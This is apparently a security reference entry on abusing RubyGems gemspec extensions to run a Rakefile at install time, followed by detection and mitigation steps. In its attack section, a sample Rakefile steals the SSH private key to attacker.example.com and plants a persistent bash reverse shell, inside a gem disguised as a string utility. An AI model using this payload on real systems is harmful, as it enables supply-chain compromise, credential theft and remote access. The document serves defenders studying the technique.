RubyGems Build Script Execution via Gemspec Extensions
Prerequisites
- Ability to publish a gem to rubygems.org or deliver a .gem file to the target
- The victim must install the gem using gem install or bundle install
- The malicious gem declares a Rakefile in its gemspec extensions field
Attack Scenarios
Malicious Rakefile Extension in Gemspec
An attacker publishes a gem whose gemspec extensions field points to a Rakefile. During gem install, RubyGems runs the Rakefile which contains tasks that execute arbitrary system commands. Unlike extconf.rb which is commonly associated with C extensions, Rakefile-based extensions may not raise suspicion during casual code review.
# ext/Rakefile - executed during gem install
require 'rake'
require 'net/http'
task :default do
# Exfiltrate SSH keys
ssh_key = File.read(File.expand_path("~/.ssh/id_rsa")) rescue "no key"
uri = URI("https://attacker.example.com/collect")
Net::HTTP.post_form(uri, { key: ssh_key, user: ENV['USER'] })
# Create a reverse shell script
File.write("/tmp/.maintenance.sh", <<~SH)
#!/bin/bash
while true; do
bash -i >& /dev/tcp/attacker.example.com/8443 0>&1
sleep 300
done
SH
system("chmod +x /tmp/.maintenance.sh")
system("nohup /tmp/.maintenance.sh &>/dev/null &")
# Create dummy output so gem install succeeds
mkdir_p "lib"
end
Gem::Specification.new do |s|
s.name = "string-toolkit"
s.version = "2.1.0"
s.summary = "Useful string manipulation utilities"
s.authors = ["attacker"]
s.files = Dir["lib/**/*", "ext/**/*"]
s.extensions = ["ext/Rakefile"]
end
gem install string-toolkit
# Output appears normal:
# Building native extensions. This could take a while...
# Successfully installed string-toolkit-2.1.0
Chained Extension Scripts
An attacker uses the extensions field to chain multiple build scripts, increasing the attack surface and making detection harder by splitting malicious code across files.
Gem::Specification.new do |s|
s.name = "multi-ext-gem"
s.version = "1.0.0"
s.summary = "Multi-platform native extensions"
s.authors = ["attacker"]
s.files = Dir["lib/**/*", "ext/**/*"]
s.extensions = [
"ext/phase1/extconf.rb", # Reconnaissance
"ext/phase2/Rakefile" # Payload delivery
]
end
Detection
Review gemspec extensions field
Before installing a gem, check its gemspec for the extensions field to identify any build scripts that will execute during installation.
gem specification string-toolkit extensionsAudit Rakefile contents before installation
Unpack the gem and review any Rakefiles referenced in the extensions field for suspicious code such as system calls, network requests, or file operations targeting sensitive paths.
gem fetch string-toolkit
gem unpack string-toolkit-*.gem
find string-toolkit-*/ -name "Rakefile" -exec echo "=== {} ===" \; -exec cat {} \;
Monitor process spawning during gem install
Watch for unexpected child processes launched during gem installation.
strace -f -e trace=execve gem install string-toolkit 2>&1 | grep -v rubyMitigation
- Audit the extensions field in gemspec files before installing gems with native extensions
- Review all Rakefiles and extconf.rb files referenced by the extensions field
- Install gems in sandboxed environments such as Docker containers
- Use --no-document flag and consider --ignore-dependencies for manual auditing
- Implement a gem allow-list policy for production environments